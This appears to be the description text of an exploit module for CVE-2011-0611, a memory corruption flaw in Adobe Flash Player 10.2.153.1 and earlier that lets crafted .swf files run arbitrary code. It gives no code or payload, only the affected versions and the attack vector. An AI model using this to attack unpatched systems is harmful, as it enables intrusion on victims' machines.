          This module exploits a memory corruption vulnerability (CVE-2011-0611) in Adobe Flash Player
 versions 10.2.153.1 and earlier. The vulnerability allows for arbitrary code execution by
 exploiting a flaw in how Adobe Flash Player handles certain crafted .swf files. By leveraging
 this vulnerability, an attacker can execute arbitrary code on the victim's system.
